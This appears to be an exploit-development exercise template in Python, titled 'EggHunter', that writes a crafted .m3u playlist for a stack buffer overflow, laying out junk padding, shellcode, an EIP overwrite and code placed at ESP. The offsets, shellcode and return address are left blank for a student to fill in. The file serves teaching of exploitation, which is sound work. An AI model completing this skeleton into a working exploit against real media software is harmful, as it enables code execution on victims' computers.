# Exercise 4 - EggHunter
# Author: badc0d3
# ______ _____ ______ ___________
#| JUNK | EIP | JUNK | ESP - 80B |
#|______|_____|______|___________|
#

# Edit this section to set the offset of the 2 registers
eiploc = 0;
esploc = 0;

# Edit this section

shellcode = "";
eip = "";
espcode = "";

# File Creation DONT NOT CHANGE ANYTHING BELOW THIS
junk = "A" * (eiploc-len(shellcode));
data = junk + shellcode + eip + ("B"*(esploc-eiploc)) + espcode[0:80];

file= "excercise4.m3u";
f = open(file, "w");
f.write(data);
f.close();

print len(data);
print "m3u File Created\n";
